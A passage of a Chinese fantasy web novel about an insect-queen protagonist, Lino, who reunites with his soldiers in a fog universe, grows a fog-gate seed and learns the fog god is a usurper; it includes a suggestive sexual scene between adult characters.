“啊？”这么巧的吗？利诺觉得这一切都太顺利了，顺利到不平常的地步。 “我曾是祂最忠诚的骑士长，代替祂行走在乐园中，为他传播祂的仁慈和信仰，为此，我被祂赋予了与一切处于雾宙内的生物对话的权力。”这只瘦小佝偻、营养不良的雾种如实道，“祂……好像忘了这项给予我的权力，即使到现在，我的能力也没有被剥夺。” 利诺心思微动，倒不是他怀疑雾种，而是怀疑这一切不可思议的顺利。 从他遇到的接引傀是个反骨，到遇到的第一个本土雾种知道很多，还愿意帮助他，关键的是，他还可以联络到其他农夫…… 太巧了。 “不用怀疑。”利诺的本领还未修到家，雾种一下子看出了利诺的所思所想，“你可以把精神力侵入到我的大脑，一旦我有不好的想法，你可以瞬间杀死我。” 雾种坚定道：“这是命运的指引，祂已经到了要死的时间了，所以你出现了，在我快要死的时候。” 利诺反问：“命运的指引？”这雾种神神叨叨的…… “众所周知，祂无法掌控命运，不然祂不会因为入侵一个宇宙将近三千年都无法彻底吞噬而陷入彻底的疯狂。你应该就是那个宇宙来的吧？听说，那是个生命极其繁荣的宇宙。”雾种回答。 他指了指自己的头：“如果你实在无法放心，可以用精神力操纵我。” “不用，我不是不相信你，而是不相信太过顺利的发展。”利诺扬起一个灿烂的笑，小白牙闪闪发亮。“不过，我觉得赌一把也不是不可以。” 他把手搭在雾种的肩膀上：“那就有劳你，去游说农夫们反抗祂，你也可以侧面打听接引傀们的想法，反抗祂的生物越多越好。” 利诺笑得甜甜的：“而我，会找到祂吞噬我们宇宙的入口，我的族群会很高兴给祂一个教训。” “祂……是这方宇宙的意识，很厉害。”雾种强调。 利诺摇头：“我的族群是祂的克星，而且……” 他仰头：“而且我妈也是宇宙意识！” 这下轮到雾种倒抽冷气了，他现在无比相信，那些接引傀是真的要反，不然接引傀怎么可能把另外一个宇宙意识的子嗣带到本宇宙来！ 这不就是另类的，把敌人给带进村吗？ 他孤独活了数不清的岁月，在即将疯狂时，终于等到了转机。 摸着妻子曾经写下的娟秀字迹，一滴雾气组成的浑浊泪水，掉落在册子上。 他活着，就是为他死去的妻子、孩子乃至无数因为没有精神力就被当做垃圾一样处理掉的雾种们报仇！ 利诺将册子留给了雾种，等雾种再三保证自己会很快完成任务并离开后，他突然意识到，他还不知道雾种的名字。 算了……利诺揉揉头，走在尸山血海中，他仍旧需要种植雾门，以免被祂察觉，即使雾种说祂智商不怎么样，在久久无法吞噬利诺所在的宇宙后更加不聪明。 又穿过一层迷雾，利诺感知到附近有颗星点在闪烁，有一只虫族，就在附近！ 第87章 洛尔南从高空坠落，蜂翅张开，稳定落在一具异族的尸体上。 抹掉鼻腔溢出的血，他目光冷冽环视四周，全都是怪物的尸体。 他脚下踩着的，就是他刚才用尾钩刺穿头颅的异族，那只肉山一样的异族正双眼圆睁，残留死前的恐惧。 洛尔南嫌恶地甩了下畸形扭曲的尾钩，虫族的尾钩是武器，也是虫母冕下的玩具，需要保持最基本的清洁，因此尾钩并不容易染上脏污。 尾钩即使不小心在尾端残留一些血肉碎渣，被虫族轻微甩动后，也会变回干净的、可以任由小虫母把玩的物件。 如果有条件，尾钩仍旧需要进行必要的清洁。 只是……附近似乎并没有水源，除了尸体就是尸体，完全是角斗场的垃圾堆。 洛尔南打开腕表，腕表目前丧失了通讯上网的功能，唯一的用处是用来思念冕下。 利诺冲镜头挑眉肆意的照片令洛尔南的神情微微软化。 他努力了很久，拼命要追赶上冕下，得到拥有冕下的资格。 洛尔南在出发前和冕下说好了，完成这个实习任务，他就可以修够学分毕业，以他的资历和能力，完全可以被调到蓝星最高军部。 他离冕下会更进一步，也可以时刻见到利诺，而不是在只有一只虫的宿舍内，靠和利诺偶尔的对话缓解思念，靠与利诺喂食和亲吻的回忆鞭策自己。 他的冕下，他的利诺，他的妈妈…… 所以无论如何，他都会从这扇怪异的迷雾之门出去！洛尔南捏拳，恍惚间，他似乎闻到了利诺身上的味道。 洛尔南觉得自己主管绝了，大概是太想小虫母了，以至于敏锐的嗅觉都出了问题。 直到他听见熟悉的声音：“洛尔南？” 洛尔南循着声音，愣愣低头，怪物尸体的旁边，站着一个身影，漂亮的白发青年正弯着眼朝他挥手。 是虫母冕下！是利诺！是他将近一个星际年都没有真正见过面的利诺！ 洛尔南站起来，闪影飘过，就将利诺搂在怀里，力道很大，恨不得能和他血肉相嵌。 熟悉的、香甜的味道溢满鼻尖，洛尔南的虫翅蠢蠢欲动，金黄的蜜液开始在翅根分泌。 利诺很意外最先见到的虫族是洛尔南，洛尔南作为第一只喂食他蜜液、并亲吻他的虫，毫无疑问，在小虫母心中也是地位不一样的虫。 最重要的是，洛尔南是利诺真正教训过的虫，是那种一拳揍上去、又踩几脚还耍小心眼、陷害过的虫。 洛尔南是特殊的。 但很快，洛尔南接下来的举止很快消磨了利诺久而重逢的温情。 被很用力地搂在怀里，整张脸怼在雄虫稍微敞开衣襟的小麦色皮肤上，结实的肌肉挤压着利诺的五官，雄虫稚嫩却火热的荷尔蒙随着蜜液一起分泌。 成熟有成熟的韵味，青涩有青涩的热情。 利诺用那四根磨得尖尖的犬牙，毫不犹豫地嗷呜一口，咬住了洛尔南的膨胀的胸肌。 本来软软的肌肉，因为虫母带来的疼痛——更多的是愉悦，而瞬间变得硬邦邦的。 洛尔南这才意识到，他的力气使得要太大了，利诺肯定是要痛的。 “利诺、冕下，疼不疼？”年轻黄蜂手忙脚乱，松开利诺，又急迫担忧地询问，半点桀骜不驯的气场都没有。 利诺揉揉脸，瞪了洛尔南一眼，他的脸差点被肌肉挤成扭曲的模样。 洛尔南嘿嘿笑了笑，代替利诺的手，帮利诺揉软哒哒的脸蛋，感知到指腹温软的触感后，雄虫的动作更加轻柔。 洛尔南成长了很多，不止更加沉稳的气质，还有身高和愈发鼓胀坚实的肌肉。 利诺只需要一低头，就可以看到他在洛尔南的肌肉上咬出的四个牙印。 再往下，就是凸起的小麦色胸肌，因为刚才的动作衣襟彻底大开，八块轮廓分明的腹肌若隐若现。 可能是为了吸引虫母交尾，所有虫族化作的人形都不丑，身材更是个顶个得好。 利诺不算是大色迷，他的头脑中，振兴虫族和驱散迷雾才是第一步。 因此，无论是有意还是无意的引诱，利诺都没有多少感觉，他只是觉得好玩，伸出食指戳了戳洛尔南的腹肌，随后正经地问：“洛尔南，你是怎么到这里的？” 可对于虫族来说，虫母冕下的触摸是他们永远也无法抵抗的诱惑。 而且，被咬被摸的洛尔南还是只年轻冲动的虫！ 洛尔南闷哼了声，声音沙哑：“我和其他还活着的侦查虫，在迷雾中丧失方向，即将和其他侦查虫一样死于迷雾前，找到并进入了迷雾之门。” 利诺安静听着，而他作乱的手则被洛尔南握住，以免出丑。 洛尔南呼出一口气：“我们进入了一个角斗场，需要不断地和异族进行决斗。死亡的异族会被投放到这里。” “决斗无休无止，我决定在角斗场回收尸体时，冒险和尸体一起进入，然后我就到了这里，遇见了您。” 利诺：“所以说，其他的虫还在决斗场内？” 洛尔南点头：“除了找不到钥匙，关闭迷雾之门外，我们会很安全，那些异族并非虫族的对手。” 利诺猜测：“看来，伊戈提安他们应该也进入了角斗场……” 但他却不知道是什么原因，没有进入迷雾之门本应该通往的角斗场，反而被拉到了另外一个宇宙内，成了种植雾门的农夫。 利诺拍拍洛尔南的手：“放心吧，有伊戈提安的加入，那扇迷雾之门肯定会关上。” 伊戈提安是二军军长，找寻钥匙的经验丰富，关上一扇门对他而言轻而易举。 洛尔南听出了利诺的意识：“您的意思是，这里不是迷雾之门后的世界？” 利诺简单把自己所知道的告知给洛尔南，最后总结：“我们现在的目标是，先种出一扇雾门！” “我都听利诺的。”洛尔南乖巧低头，隐形的狗尾巴疯狂摇晃，很自信，“我现在也有足够的能力保护利诺。” 他踢了脚身后的尸体，邀功：“这具怎么样？是我刚在角斗场杀死的。” 利诺看了眼那座瘤子般的异族：“那就这个吧！” 他不打算细致挑选种子的，按照他的精神力，无论再强的异族尸体都可以融合成种子。 洛尔南拽着尸体的一只手臂，轻松跟在利诺的身边。 雄虫淡金的竖瞳是满满的快乐，短期内，都只有他洛尔南一只虫陪伴冕下。 毫无疑问，这是很幸福很幸运的，意味着虫族可以趁着这个时间在冕下的心底留下更多的痕迹。 利诺并不知道洛尔南心里的小九九，他在走出山洞口后，让洛尔南把尸体放在农田上。 他从磅礴的精神力分出极小的一部分，就可以彻底覆盖尸体。 尸体垫着的雾土在此时也化作丝丝缕缕的雾气，和有尸体的精神力发生了奇妙的反应，彼此融合。 精神力和雾气充当的外膜缩小，尸体同样渐渐地溶解并缩小，直至一粒透明的种子结成。 种子落在利诺的手上，如同黄豆大的种子壳是透明的，内里的尸体则化成了一个小型的透明空间，几只与异族长相一样的小怪物站在内里，等待种植和最终的成型。 “真神奇啊！”利诺赞叹出声，他看不出种子形成的原理，但这是另一个宇宙的生命形式，他看不出来很正常。 这粒种子结成的雾门是利诺在教科书上捡到的、最普通的迷雾之门，内里只有没有神智、不会说话的怪物，你打败怪物，怪物的身上会掉落钥匙。 除了神门，利诺进入的迷雾之门要更加高级，里面的怪物有自己的思维、有自己的故事背景，应该是用更厉害、更多的尸体种植的。 神门，按照利诺的想法来看，则更多的是融汇了本宇宙神祇的高级雾门，可一扇门无法完全控制另外一个宇宙意识的子嗣，于是神门就成了那些神在死后残留的最后一丝意识寄存的物品，用来让利诺增强力量。 可祂们没有想到，祂们期待的、看似弱小的弟弟，偏离了祂们规划好的轨迹，直接反客为主，进入了对方的大本营。 种子种下，利诺又用一丝精神力凝聚成液体状的精华，浇灌在雾土上。 雾气逸散，一磨绿色的芽破开土壤，伸展嫩芽，它同样是雾气的形式，但比起不是黑就是灰的雾，它又多了一丝色彩，在本该腐朽的环境中染上生命的色彩。 利诺没有种植经验，以为这是正常的，确认雾门种下并发芽后，他和洛尔南进入异宇宙给农夫准备的小木屋内。 屋内的环境说不上好，洛尔南拧起了眉，显得凶巴巴的：“太破了。” 他的利诺怎么可以住这么破旧的房屋？！ 然而洛尔南不像安瑟姆，有一个天生的空间囊，里面装满了小虫母必备的生活用品。 他看着不像是会做家务的，却撸起袖子，将屋子打扫得干干净净的。 洛尔南被利诺盯着脸红，扫掉床板上的灰尘，小声道：“那个……我辅修了虫夫养成课。” 不想当虫夫的虫不是好虫族，早在利诺回到蓝星并彻底担任虫母时，所有的军校都增设了一个虫夫养成的系列课程。 课程非必修，但受到了所有虫族的欢迎，洛尔南用绝对的武力和手速，抢下名额有限的课，并在课程结束的时候得到了优秀的成绩。 利诺有些无语：“这种课，不开也罢！” 他回去就让拉斐尔取消！名字也太羞耻了！ 洛尔南的眼睛很亮：“不，冕下，它很有用，我学到了很多。” 他半跪在利诺的身前，献祭出自己的翅膀：“比如，如何让冕下更舒服地进食。” 第88章 利诺确实有些饿了。 他的目光落在黄蜂奉上的双翅，那里盛满了淡金的液体，溢满清脆桃子的香气。 他没有着急去吃，而是抬起了洛尔南的下巴，英俊桀骜的面容上沾染着一些血迹，鼻子周围也有洛尔南之前随意擦拭时没有擦拭干净的血。 “你受伤了？”利诺问。 洛尔南乖顺地回答：“冕下，我进入这里的时候遇到了时空乱流，不算伤口。” 这个尸体场是只有尸体才会进入的，洛尔南会被乱流影响很正常。 尽管如此，利诺的手上汇聚上淡淡的光球，最终融入到洛尔南的身体内。 洛尔南那点都快要自行愈合的伤瞬间痊愈，暖洋洋的，他索性俯首趴在了利诺的大腿上。 鼻尖嗅动，是久违的、香甜的味道。 处理好洛尔南的伤口，利诺专心致志地吃饭。 黄蜂分泌的蜜液粘稠清澈，是他一直刻意积蓄，为小虫母保留的最优质食物。 所有的虫族都喜欢并享受被利诺索取的感受，这是他们存在的理由之一，他们是利诺的子嗣，也是利诺的食物。 比起蜜糖更像是桃汁的蜜液顺着虫族特有的翅膀结构，轻易地被利诺获取。 洛尔南的身体在发烫，意识在愉悦。 被虫母吃，是他源源不断的快乐。 利诺的食量很大，并不符合他稍显瘦弱的外表。 即使洛尔南一直在有意识地积攒蜜液，利诺也可以全部吃光，并且秉承不浪费食物的理念，不放过雄虫曾经盛满蜜液的翅膀凹槽。 利诺进食的速度很快，很快将翅膀分泌的液体吃得一干二净。 “……利诺，你、吃饱了吗？”洛尔南关切地问，他的手指兴奋得发颤。 “饱了。”利诺打了个饱嗝，沾满桃子味道的舌尖舔舐了下红润的唇。 就着目前的姿势，洛尔南的吻落在利诺穿着裤子的大腿上，他的气息一点点驱散其他虫族留在利诺身上的气味，如同占领地盘的恶犬。 英俊的面颊過满隐忍的汗水，抬起头时，竖瞳已经分裂成了密密麻麻的复眼，非人的气息浓烈。 利诺擦了擦洛尔南鼻尖的汗水，疑惑问：“你怎么出了这么多汗？不舒服吗？” 洛尔南轻轻拱在利诺的怀抱里：“是我……太兴奋了，好久没有喂到利诺了。” 他喊着利诺的本名：“利诺，你喜欢我的蜜液吗？” 利诺毫不迟疑地点头。 一个在末世那种物资匮乏的时代生活过的人，自然而然养成了不浪费食物的习惯。 利诺一点食都不挑：“好吃。” 他低头回答，而洛尔南刚好抬起头，利诺的唇就这么擦过洛尔南的鼻梁。 洛尔南更是狠狠一颤，脸色微红，繁殖细胞的味道弥漫，然后被利诺捕捉到。 利诺的神情瞬间变得无比复杂，他张了张嘴，又闭上嘴巴，又张嘴：“你……” “抱歉冕下！”洛尔南窘迫到恨不得找个地缝钻进去，“我立刻去清理。” 叹了口气，利诺拍拍洛尔南的肩膀，同情道：“没事的，洛尔南，早泄不是病。” 洛尔南脸红脖子出：“冕下，我不早！” 利诺更加同情：“嗯嗯，你不，你很健康！” 他稍作补充：“我可以帮你找那方面的医生看看。” 利诺的治愈对这种事情无能为力，但看在洛尔南是他未来的得力属下的份上，他愿意为洛尔南找些好医生。 就是不知道，虫族有没有男科医生……好像没有？但没关系，利诺想，他可以用他虫母的身份，培养出一个男科圣手来！ 洛尔南无奈闭眼：“我只是……冕下，我只是太兴奋了。” 他的蜜液被利诺吃干净，他的翅膀被利诺舔舐……这本身对洛尔南来说就是一种另类的抚慰和快了。 而利诺无意中落在他鼻尖的吻，就成了快乐宣泄的催化剂。 洛尔南敢打包票，就算定力再好的虫，也会像他这样，控制不住自己的繁殖细胞。 利诺再次点头，只是同情的目光一点都不减。 坏了，利诺真的误会他了！洛尔南总觉得，这次他要是不解释清楚，那虫夫的位置怕是会离他越来越远。 咬咬牙，洛尔南拉过利诺的手，吐出一口热气：“冕下，您可以……摸摸看，我、我很持久，可以满足您……” 利诺怀疑地蜷缩起手指。 …… 不知道多少分钟后，一股白光在手心浮现，将被磨得微微红肿的手心治愈。 场面狼藉。 原本坐在床上的利诺，此时被环抱在洛尔南的怀里，而洛尔南大喇喇坐在刚打扫干净的地面上，充当利诺的坐垫。 洛尔南衣衫凌乱，胸口起伏，锻炼得很好的肌肉若隐若现，结实的手臂环绕住怀里的利诺。 利诺的耳朵很红，不是害羞，他好歹也有了些经验，不至于那么青涩。 那耳朵纯粹是被激动的洛尔南咬的，说是咬，更多的是吻和舔。 红色的痕迹从耳朵一直蔓延到利诺的上半身，便于行动的上衣只剩下一点挂在青年的手臂上。 贪婪的雄虫逮住合适的机会，将漂亮的虫母舔了个遍，像只真正的狗，恨不得时刻含住主人的一块嫩肉，展示自己对主人的强烈感情。 洛尔南的耳朵同样很红，但不同于利诺的外部因素，他完全是事后的羞涩。 他摸了摸利诺的白发，发尾的粉已被汗水染湿，颜色深了几分。 “冕下，我真的不早。”洛尔南讨好地重复，“您应该知道了。” 利诺没好气，眼皮都懒得掀开，敷衍道：“啊对对对，你最厉害了！” 手心的红是最好的证据。 小虫母浑身懒洋洋的，同样被吸吮过的脚带着吻痕，踹了下洛尔南的小腿：“去找水，我要清洗。” 洛尔南用干净的布料严密裹住了利诺，吃饱的雄虫带着明显的餍足：“利诺先休息，我很快回来。” 简陋的小屋被雄虫用有限的工具布置得相对舒适。 亲密虽然舒服，但利诺却很容易累，这种累，是快乐到极限的疲倦，也是精力流失太多的劳累。 留下一点的精神力，利诺闭上眼，被泪水打湿的浓密睫毛微颤，直至陷入熟睡。 不知道过了多久，利诺醒来，大脑发空了几分钟，才意识到自己之前做了什么。 利诺捂住头，深刻质疑自己是否是传说中的昏君，怎么一见面就把洛尔南给吃干抹净了…… 不对！ 利诺反应过来，不是他吃洛尔南，是洛尔南吃他！ 他只不过，犯了一个虫母都会犯的错误！ ……好吧，他错了！ 虚心的小虫母试图理直气壮地说服自己，但并没有，他在床上滚来滚去。 利诺又想，本宇宙意识早就说了，他的种族结构就是这样的，他毕竟肩负了整个种族的繁衍使命。 利诺自己把自己给哄好了，甚至不需要其他虫的安慰，心态积极坚韧。 小虫母叉腰，他就是这般的好虫！宇宙意识都夸他是最好的崽崽呢！ “砰砰砰——” 房屋外面传来打斗的声音，利诺收起精神力的保护后，听得更加清楚。 担心是怪物入侵，利诺打开门，除了洛尔南的气味，利诺闻到了伊戈提安的气味。 同时，他也看到了正打在一起的洛尔南和伊戈提安。 不是怪物入侵，是伊戈提安找来了。 利诺放松下来，朝满眼怒意的伊戈提安和警惕应战的洛尔南招招手：“先别打。” 洛尔南很听话，虫母不让他打他就收起武器和尾钩，关心地问：“冕下，您有哪里不舒服吗？” 利诺的治愈能力不是白给的，回应了洛尔南后看向伊戈提安：“怎么打起来了？” 如利诺猜的一样，率先进行攻击的正是伊戈提安，伊戈提安捂住手臂的划痕：“没什么，和这位……侦察兵切磋一起。” 洛尔南掩住脸上的伤口：“没错，我在和伊戈提安阁下切磋。” 他的嘴角讥讽勾起，该死的二军军长，招招朝他脸上砸，恨不得毁他的容！ 不过伊戈提安的做法错了，利诺可不会以貌取虫。 伊戈提安扬起扭曲的微笑，事实上，他破防了，在见到充满洛尔南气味的利诺时，彻底破防。 要知道，那些同僚虽然不愿却也在让步给他制造机会，这才让伊戈提安有了更多时间跟在小虫母身边 眼看着终于能拥有虫夫的资格了……结果一扇迷雾之门不止分开了他和冕下，还让另外一只虫捷足先登。 伊戈提安认识这只黄蜂，他们曾经一起跟随刚觉醒的虫母关过门，记得是叫洛尔南。 ——一只卑鄙无耻的黄蜂，心眼不少，抢占了最先喂食冕下的资格，也曾半夜偷溜进冕下的房间！ 伊戈提安很想写一个大大的“怨”字。 利诺一点没信这两虫的说辞，他两只眼睛都看到这两只虫彼此之间冒出来的电花了。 轻咳一声，利诺冷声提醒：“你们忘了吗？我不喜欢无所谓的争斗带来的死亡。” 伊戈提安和洛尔南瞬间收拢杀意。 “冕下说的话，我每一个字都记得。”伊戈提安憋屈至极，勉强笑道。 洛尔南连忙跟着：“我不会做任何冕下不喜欢的事情。” 利诺浑身很清爽，应该是他睡着的时候，洛尔南找到水给他清理了。 他走到种植雾门的田边，那根绿色的芽生长迅速，经过一晚的时间成了粗壮的小树。 利诺眨眨眼，从意识海里看了眼结满虫蛋的虫树，又看了看雾门生长的小树，陷入沉思。 这怎么……和他的虫树有些相似，就是颜色不一样？ 第89章 手指摸上这棵植物的枝叶，一股与抚摸虫蛋相似的亲近感传入意识海，带动意识海内的虫树都在轻微摇晃。 利诺触电般收回手，倒退好几步，被跟在身后的洛尔南接入怀中。 洛尔南冷冷瞥了眼那棵绿色奇异的树苗，关切地询问：“冕下，这东西有问题？要不要砍掉？” 利诺连忙阻止：“不用。” 他望着缩小版的虫树，用一种奇异的语气，对洛尔南和伊戈提安语重心长：“或许，你们要有弟弟了。” 又或者儿子，无所谓，反正虫族只有虫母和他的子嗣这一种关系。 洛尔南和伊戈提安满脸问号，虫族哪里有什么兄弟关系？ 利诺指着这棵由种子生长出的绿植：“这就是。” 短暂的经惊讶后，利诺又觉得自己很厉害，不愧是他，连雾门都能种成他的子嗣。 他，利诺，就是最厉害的虫母！要是本宇宙意识在，利诺肯定要和大光团炫耀一番。 看着懵逼的两虫，利诺坏心眼地笑道，对绿色植物温声道：“来，喊bro或者daddy。” 伊戈提安的阅历比洛尔南多，反应稍微快些：“这是冕下昨晚生的？” 他不知道雾门种子的来历，音量提高，伤心得要死：“是您和洛尔南的孩子吗？” 那洛尔南岂不是要父凭子贵了！要知道，在目前的虫族中，与虫母最先诞下子嗣的虫族是赫弥珞元帅，抛去军衔不论，他在虫族中的地位都不低。 洛尔南抿唇：“……可是冕下，这种子的来源是那只丑陋的怪物。” 洛尔南知道的要比刚到达异宇宙的伊戈提安更多，至少这树苗的来源，他非常清楚，正是他杀死的庞大怪物。 “和那只怪物无关。”利诺摸摸平坦的、没有一丝赘肉的肚子，“认真地说，他更像是我的基因与迷雾的结合？” 解释有些抽象，但在场的两只雄虫都明白了。 伊戈提安对环绕四周的迷雾的态度发生了改变，除了天生的厌恶外，还有浓烈的嫉妒：“该死的，这雾也想成为虫夫吗？” 问起伊戈提安的目标是什么，在遇见利诺前，他的目标是在赫弥珞元帅在因意识海而崩溃死亡后，当上新的虫族元帅。 但在遇见利诺后，伊戈提安仅有的目标是，当上冕下的虫夫。 第二个目标比第一个目标还要难实现，毕竟当元帅，只需要和几个军长抢，可要当虫夫，就得和整个虫族、两千万多名分虫子抢！ 伊戈提安等得眼睛都红了，并在等待中又争又抢，好不容易有希望的时候，一只还没从军校毕业的小崽子抢走了他的机会。 没关系，伊戈提安有的是时间，可以再等。 然而现在他发现，不仅本族，连不属于虫族的迷雾都来跟他抢冕下！ 伊戈提安突然很想哭，他恨恨凝视四中的迷雾，手中的武器蠢蠢欲动。 他动不了同族，一团没有意识的黑雾他还杀不了吗！ “啪！”一个凌厉的脑瓜崩在伊戈提安的额头上响起。 利诺收起泛疼的手指，脸颊气得发红：“伊戈提安，你在想什么黄色东西？我是那么饥不择食的虫吗？” 迷雾并不是生物，它只是异宇宙的组成物质，后来变成异宇宙意识用来达成侵略目的的工具。 但不知道为什么，也许是因为利诺并非异世界生物，而是其他世界意识孕育的孩子，特殊的身份和能力，让他的精神力在迷雾中发生了某种变异，种植下的雾门种子发生了变异。 而这种变异代表什么，种子又是否可以变成一周后接引傀会收走的雾门，谁都不知道。 但唯有一点利诺很确认，这是他正在成长的子嗣它不同于所有的虫蛋，是雾门种子变异后的奇怪生物。 “有东西！”伊戈提安被心爱的小虫母教训后，不仅不伤心，反而更加兴奋。 冕下还会打他，冕下还是喜欢他的！ 因情绪激动而五感更加敏锐的伊戈提安瞬间发觉了在迷雾中隐藏的存在。 连利诺都没有察觉。 伊戈提安消失在原地，本就有变态的追寻能力，令他即使在不同的空间宇宙中，都能够循着一丝气味找到利诺，更别提只是不远处迷雾覆盖的地界。 两个呼吸间，一个灰袍生物被伊戈提安的尾钩刺穿心口，甩在地面上。 “咔哒……哒哒哒……”熟悉的调整音响起，被刺中要害的生物僵硬抬起头，兜帽内，散发雾气的眼睛看向利诺。 利诺俯视：“接引傀，你一直没走？” “咔咔……”接引傀并没有站起来，而是以下位者的姿态回答，“新农夫……，不，大人，我在观察您。” “在替你的神观察我吗？”一只脚踩在接引傀藏在灰袍下的手，利诺居高临下。 接引傀刻板到更像机器的雾状面孔扭曲，终于有了生命该有的情绪反馈。 他一字一句道：“那不是我们的神！” “祂是个卑鄙的小偷！” 利诺收回腿，接引傀并没有撒谎，他说的都是真的。 三虫一傀坐在门口的小马扎上，接引傀已经摘下了兜帽，露出头顶的爱心。 是的，接引傀的头顶尖尖的，他没有头发，而是一排小巧的粉红爱心。 宇宙之大，物种外形不同很正常，但这么奇怪的爱心生物，利诺真没见过。 利诺的左手压住右手，勉强做出很正经的样子，其实他很想摸一摸接引傀的头顶爱心，尤其是最中心的那颗最大、还在一股一股往接引傀的头上冒心状雾气的爱心。 “……想摸就摸吧！”接引傀叹了一口气，可以把头伸过来。 “真的让摸？” “摸吧，你看起来很想摸。”接引傀的头离利诺又近了几分。 “是软的！”利诺把Q弹的爱心捏扁，于是雾气秃噜噜一股脑，从爱心的顶端冒出来。 接引傀怀念：“原先的神也很喜欢这么摸我们。” 由于手感太好，利诺舍不得松手，就这么一边捏一边问：“你可以继续说了。” 接引傀对利诺很尊敬：“如你所愿。” 异宇宙，是一个由雾构成的宇宙，生物、星球乃至宇宙意识本身，都是雾。 每一个宇宙意识都是这个宇宙绝对的神，他们的力量强盛由特定的因素决定。 利诺所在的宇宙意识，会因为生命的繁荣而强大，雾气所在的宇宙意识，则是因为生命的欢乐而强大。 “我们是神的快乐小精灵，我们的存在是为了让万物愉悦，让神也感到快乐。”接引傀道。 “快乐是宗旨，神因快乐而快乐，也因快乐而强大，您能明白吗？” 异宇宙本该如此，没有悲伤，没有痛苦，没有阴霾，只有神播撒的快乐。 利诺举手：“我明白。” 正如他的宇宙意识，就喜欢生孩子，祂的子嗣也会自己创造眷族，生命的灿烂让祂可以更好地维持宇宙的运转。 在迷雾侵入后，本宇宙意识衰弱，就是因为迷雾在不断地杀死生命，而本宇宙意识能够一直存在，也是因为虫族的诞生和强大，他们抵御住了迷雾的侵蚀。 接引傀的语气变得冰冷：“现在的宇宙意识是假的！祂吃了我们善良快乐的神，代替了我们的神！让我们变成祂的奴隶，还让我们……为其他宇宙带来悲伤！” “等等……现在的祂吃了你们的神？”利诺问，“那祂是从哪里来的？” 接引傀憎恨地解释：“我们的神很单纯，祂……收留了无家可归的祂……” 这很正常，一个以快乐为源泉的宇宙意识，根本不知道什么是坏蛋，什么是恶。 现在的宇宙意识，或许是灭亡宇宙的残留意识，也或者是灭亡宇宙足够幸运的生物。 不论祂是什么，祂进入了一个只知道欢乐的宇宙，甚至不需要阴谋诡计，就可以吃掉没有防备的宇宙意识，代替原有的意识，掌控宇宙。 “我们被祂控制……成了祂的附庸，做了很多很多坏事。”接引傀张开手，浑身颤抖，“这是带来欢乐的手，但沾染了很多很多、很多很多的血！” 接引傀道声音越来越刺耳，仿佛无法忍受自己这些年的过往。 一只只快乐单纯的小精灵，在多年的头脑混沌后再次清醒，却恐惧地发现，自己成了凶残的刽子手，多少生命死在自己的手上，他们的哀嚎，化作小精灵们的噩梦和痛苦。 利诺摸接引傀的动作都轻柔了不少，似乎是在安慰接引傀。 散发雾气的眼眶蓄满了痛苦的泪水，接引傀濡慕道：“感谢您，大人，是您，让我们从浑噩的状态清醒。” “正是您宇宙在三千年来都未曾被祂彻底吞噬，祂的力量衰减，对我们的掌控也变弱了。” 利诺沉默半晌：“或许，你们不知情才是最好的……” “不，您想错了，与其要一直成为祂的帮凶，我们更愿意清醒地痛苦，和赎罪。” 尽管一些摆脱控制的小精灵受不了打击而要么疯狂要么自杀，但更多的小精灵则想要拉着始作俑者一起消亡。 所以，他们找来了利诺，利诺本该和其他虫族一样进入角斗场，但小精灵们在角斗场悄悄开了另一扇门。 接引傀握住利诺的手，放在自己的胸口，虔诚道：“我代表所有的欢乐精灵感谢您，谢谢您和您的种族让我们清醒。我也知道，您的宇宙仍然在被祂侵蚀，我想，我们可以一起杀掉祂！” 不等利诺说话，接引傀道：“那家伙没有能力像真正的宇宙意识那般，创造生命，所以我们才会被祂使用。祂很自信对我们的掌控，所以我们的权限很大，我认为，有了您的帮助，我们的计划会成功后。” 这些欢乐精灵，竟然想要弑神，不，在他们看来，他们杀的，只是一个可恶的窃贼。 第90章 雾宇宙意识现在很烦躁，烦躁到发疯，雾气组成的球在自己修筑的豪华住宅上蹦下跳，哇呀呀地宣泄。 这种无力和烦躁感自祂成为新的宇宙意识后就没有产生过了。 作为已经消亡宇宙的唯一幸存物，祂足够幸运，在漂泊的时候遇到了一个傻子意识。 或者说，所有的宇宙意识都很傻，没什么智商，无论是收留祂的原雾宇宙意识，满脑子都是嘻嘻哈哈，把那么大的宇宙打造成乐园，又或者是祂现在想吞噬的宇宙意识。 ——那个满脑子都是崽的宇宙意识，整天不是念叨我最小的崽崽真好看，就是在说之前的崽又为他创造了很多生命…… 可笑，这些意识明明是各自宇宙的掌控者，不想着变强和侵略，仅是局限在自己的宇宙，要么嘻嘻哈哈，要么搂着自己的崽么么哒。 可笑至极。 已死亡宇宙的唯一残存生命根本看不上这些宇宙意识，事实上，祂连自己那早已经死去的宇宙意识都看不上。 祂认为这些宇宙意识都是一群弱智，一堆天真的傻子。 但宇宙意识的傻，也给了祂吞噬的机会。 原来的雾宇宙意识在被吞噬的时候，还在疑惑地问为什么要吃祂？这一点都不好玩，而且很疼。 对此，后来的篡权者只是冷笑一声，把原来的雾宇宙意识完全嚼碎，抢夺来这方宇宙的权柄，成为半个雾宇宙意识。 祂很不满，但没有办法，祂不是雾宇宙的生物，就算抢夺也只能成为半个宇宙意识。 但没关系，祂想，祂会把宇宙打造成无比强大的武器，将所有的傻子意识吞噬。 或许，等祂吞噬够了其他宇宙意识，祂会实现蜕变，成为真正的宇宙意识。 然而，异宇宙意识在一系列顺利的侵略行为、接连吞噬好几个宇宙意识后，遭遇了最大的失败。 那个似乎是以生命繁荣汲取力量的宇宙，有个满脑子崽崽的宇宙意识。 祂开始了自己的侵略，以生命繁荣的宇宙意识很强，祂强来只会造成伤敌一千、自损一千二的结局。 于是，祂悄悄动手脚，偷走宇宙意识最宠爱的、尚未真正孕育的子嗣，然后将他扔进宇宙与宇宙之间的时空缝隙。 如祂预料那般，宇宙意识压根无法割舍最爱的小崽，就算削弱力量，也要把自己最小的子嗣找回来。 找回子嗣的宇宙意识实力大减，紧接着，祂使用迷雾和雾门进行了真正的入侵，让那个宇宙意识亲眼看着祂的子嗣被眷族杀死、被迷雾吞噬。 可是，祂没预料到，宇宙意识费劲千辛万苦找回来的子嗣虽然依旧在孕育，可却提前诞生出了眷族。 那是一个完全克制迷雾的种族，强大、无情，一点点将祂的迷雾驱散。 因此，整整三千年，祂都没有真正完全吞噬这里的宇宙意识。 时间拖得太长了，长到祂开始焦躁发疯，无力感和对失败的强烈预感让祂对雾宇宙的生物越来越残暴。 祂永远都不会错，都是这些雾宇宙生物太没用，种出来的雾门太弱，才导致祂迟迟无法吞噬宇宙意识。 